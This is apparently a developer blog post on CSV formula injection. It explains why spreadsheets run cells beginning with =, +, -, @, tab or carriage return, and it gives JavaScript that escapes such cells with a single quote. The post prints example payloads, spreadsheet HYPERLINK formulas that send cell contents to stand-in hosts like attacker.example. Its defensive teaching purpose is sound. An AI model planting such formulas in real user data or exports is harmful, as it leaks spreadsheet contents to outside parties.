~/blog

Your CSV export runs formulas: sanitize =, +, -, and @

published

#csv#security#spreadsheets

TL;DR

CSV has no types. When a spreadsheet opens one, a cell whose value starts with =, +, -, @, tab (0x09), or carriage return (0x0D) is treated as a formula. If any field in your export came from user input, the person who opens that file — usually a colleague, on a trusted machine — runs whatever the user typed. Fix it on write by prefixing dangerous cells with a single quote ('), the way Symfony’s CsvEncoder does after CVE-2021-41270. The older advice — prefix with a tab — is itself unsafe.

The problem

Someone signs up with a display name:

=HYPERLINK("https://attacker.example/?d="&A1,"Payroll Q3")

Nothing renders it as HTML, so your XSS filters have no opinion about it. It sits in the database as a string. Weeks later, support exports the user table and opens users.csv in Excel. That cell is now a live formula: a clickable link labelled “Payroll Q3”, whose target carries the contents of cell A1 — a neighbouring column from your own export.

OWASP lists three impacts for this class of bug:

Hijacking the user’s computer by exploiting vulnerabilities in the spreadsheet software, such as CVE-2014-3524. Hijacking the user’s computer by exploiting the user’s tendency to ignore security warnings in spreadsheets that they downloaded from their own website. Exfiltrating contents from the spreadsheet, or other open spreadsheets.

The second one is the interesting one. The file came from your own admin panel, so the person opening it has already decided it is trustworthy — before any content in it was reviewed.

Why it happens

CSV, as described by RFC 4180, is rows of quoted-or-unquoted fields. There is no type system, no cell metadata, no “this is text” marker. The reader decides what a field means, and every major spreadsheet decides the same way: leading character wins.

Leading characterRead asExample payload
=formula=HYPERLINK("https://evil.example/?d="&A1,"Invoice")
+formula+1+1 evaluates to 2
-formula-1+1 evaluates to 0, so - fields silently mutate
@formula / function reference@SUM(A1:A9)
tab 0x09formula in some pathsleading tab is stripped, exposing the next character
CR 0x0Dformula in some pathssame stripping behaviour

OWASP’s list also includes the full-width Unicode variants , , , , so a naive startsWith('=') check does not cover the space.

The - row is worth pausing on even if you do not care about security: a legitimate value like -Pending in a status column is not a string in Excel, it is an expression, and what the analyst sees is not what your database holds.

What to do

Escape at the point where you serialize to CSV, not at the point where you accept input — the string is only dangerous in a spreadsheet, and stripping = from names on the way in breaks people whose data legitimately starts with it.

const DANGEROUS = ['=', '+', '-', '@', '\t', '\r', '=', '+', '-', '@'];

function sanitizeCell(value) {
  const s = String(value ?? '');
  return DANGEROUS.some((c) => s.startsWith(c)) ? `'${s}` : s;
}

function csvField(value) {
  const s = sanitizeCell(value);
  // RFC 4180: quote anything containing a comma, quote, CR or LF; double the quotes.
  return /[",\r\n]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
}

function toCsv(rows) {
  return rows.map((row) => row.map(csvField).join(',')).join('\r\n');
}

console.log(toCsv([
  ['name', 'note'],
  ['=HYPERLINK("https://evil.example","x")', 'ok'],
  ['-Pending', 'has, comma'],
]));

Two details in that code carry the whole fix:

  1. The prefix is ', not a tab. Symfony shipped tab-prefixing as an opt-in csv_escape_formulas in 4.1, and had to change it: OWASP established that tab and carriage return are themselves formula triggers, so the escape character was in the same class as the thing being escaped. The fix in CVE-2021-41270 switched to a single quote and widened coverage to all six characters.
  2. Sanitizing happens before quoting. An attacker can otherwise use the field separator and a quote to close your cell early and start a new one whose first character is = — the payload’s position inside the cell is what matters, and that is only defined after you decide the field boundaries.

If the export is meant to be opened by humans in Excel, the better answer is to skip CSV. Write XLSX and set the cell type to string explicitly; the format has types, so nothing has to be inferred from a leading character.

Caveats

References